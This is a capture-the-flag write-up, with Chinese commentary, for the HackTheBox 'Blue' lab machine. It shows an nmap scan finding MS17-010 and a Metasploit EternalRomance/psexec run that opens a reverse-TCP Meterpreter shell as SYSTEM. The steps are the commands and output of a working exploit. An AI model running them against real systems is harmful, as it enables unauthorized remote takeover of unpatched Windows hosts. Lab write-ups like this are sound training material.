HackTheBox-Machines Blue Writeup

Recon

先 nmap 一下：

└──╼ [★]$ nmap -sV --script vuln 10.129.208.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-27 06:09 CDT
Nmap scan report for 10.129.208.2
Host is up (0.077s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-054: false

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 89.41 seconds

感覺跟 legacy 87% 像：

└──╼ [★]$ msfconsole
Metasploit tip: The use command supports fuzzy searching to try and 
select the intended module, e.g. use kerberos/get_ticket or use 
kerberos forge silver ticket
                                                  
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       =[ metasploit v6.3.44-dev                          ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

[msf](Jobs:0 Agents:0) >> search CVE-2017-0143

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

[msf](Jobs:0 Agents:0) >> use 1 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> set lhost tun0
lhost => tun0
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> set rhost 10.129.208.2
rhost => 10.129.208.2
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> run

[*] Started reverse TCP handler on 10.10.14.30:4444 
[*] 10.129.208.2:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
[*] 10.129.208.2:445 - Built a write-what-where primitive...
[+] 10.129.208.2:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.129.208.2:445 - Selecting PowerShell target
[*] 10.129.208.2:445 - Executing the payload...
[+] 10.129.208.2:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 10.129.208.2
[*] Meterpreter session 1 opened (10.10.14.30:4444 -> 10.129.208.2:49158) at 2024-10-27 06:13:43 -0500

(Meterpreter 1)(C:\Windows\system32) > getuid
Server username: NT AUTHORITY\SYSTEM

拿下 root。

Pwned !!!